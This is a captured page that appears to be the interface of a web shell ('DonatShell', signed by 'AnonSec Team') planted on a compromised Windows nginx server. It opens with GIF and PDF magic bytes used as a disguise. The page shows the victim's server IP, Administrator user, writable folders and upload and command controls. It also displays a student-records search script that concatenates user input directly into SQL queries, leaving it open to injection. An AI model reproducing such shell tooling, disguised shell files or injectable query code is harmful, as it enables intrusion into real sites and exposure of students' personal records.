GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/User/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/User/SearchQueryDARS.phpinc
<?
// Admin/User/SearchQueryDARS.phpinc
// Perform the search query.

if (da()) debugTrackBegin();

$d_O = d_O(); #d_On(); // Uncomment to DEBUG.

#         DATE_FORMAT(userDOB,GET_FORMAT(DATE,'USA')) AS userDOB,
if ( $darsIds == '' ) $darsIds = '0';

$v_SearchPart = explode(" ",ucwords($f_userSearch));
if ( count($v_SearchPart) > 0 ) {
	switch (count($v_SearchPart)) {
		case 0:
			break;
		case 1:
			if ( !is_numeric($v_SearchPart[0]) ) {
				$f_FirstName = $v_SearchPart[0];
			} else {
				$f_userStudentId = $v_SearchPart[0];
			}
			break;
		case 2:
			$f_FirstName = $v_SearchPart[0];
			$f_LastName = $v_SearchPart[1];
			break;
		default:
			$f_FirstName = $v_SearchPart[0];
			$f_MiddleName = '';
			for ($i=1; $i<count($v_SearchPart)-1; $i++) {
				$f_MiddleName .= $v_SearchPart[$i].' ';
			}
			$f_MiddleName = trim($f_MiddleName);
			$f_LastName = $v_SearchPart[count($v_SearchPart)-1];
			break;
	}
}

// Perform search.
$query = "
		SELECT dars.* 
				 , session.YRTR
				 , session.sessionName
				 ,
";
if ( isset($f_FirstName) ) { // userFirstName or userNickname match.
	$query .= "
           IF (darsStudentFirstName = '".$f_FirstName."', 40,
           IF (darsStudentFirstName LIKE '".$f_FirstName."%', 20,
           IF (darsStudentFirstName LIKE '%".$f_FirstName."%', 10, 0 ) ) )
           +";
}
if ( isset($f_MiddleName) ) { // userMiddleName match.
	$query .= "
           IF (userMiddleName = '".$f_MiddleName."', 15,
           IF (userMiddleName LIKE '".$f_MiddleName."%', 7,
           IF (userMiddleName LIKE '%".$f_MiddleName."%', 3, 0 ) ) )
           +";
}
if ( isset($f_LastName) ) { // userLastName match.
	$query .= "
           IF (darsStudentLastName = '".$f_LastName."', 20,
           IF (darsStudentLastName LIKE '".$f_LastName."%', 10,
           IF (darsStudentLastName LIKE '%".$f_LastName."%', 5, 0 ) ) )
           +";
}
if ( isset($f_userStudentId) ) { // userStudentId match.
	$query .= "
           IF (darsStudentId = '".$f_userStudentId."', 50,
           IF (darsStudentId LIKE '%".$f_userStudentId."', 25,
           IF (darsStudentId LIKE '%".$f_userStudentId."%', 12, 0 ) ) )
           +";
}
$query .= "
           0 AS score
			FROM `dars`
 LEFT JOIN session ON session.sessionId = dars.sessionId
     WHERE (
           1=0";
foreach ($v_SearchPart as $key => $value) { // Match mixed names
	$query .= "
					 OR darsStudentFirstName LIKE '%".$value."%'
					 OR darsStudentLastName LIKE '%".$value."%'
					 OR darsStudentId LIKE '%".$value."%'";
}
$query .= "
           )
			 AND darsId NOT IN ( ".$darsIds." )
  ORDER BY score DESC, darsStudentLastName, darsStudentFirstName, session.YRTR DESC
";
d_Var('darsResult',$query,'q');
$darsResult = query_do($query);
$darsResultCount = $_SESSION['qry']['count'];
d_Var('$darsResultCount',$darsResultCount);
d_Var('$darsResult',$darsResult);

if ( isset($d_O) && !$d_O ) d_Off();

if (da()) debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team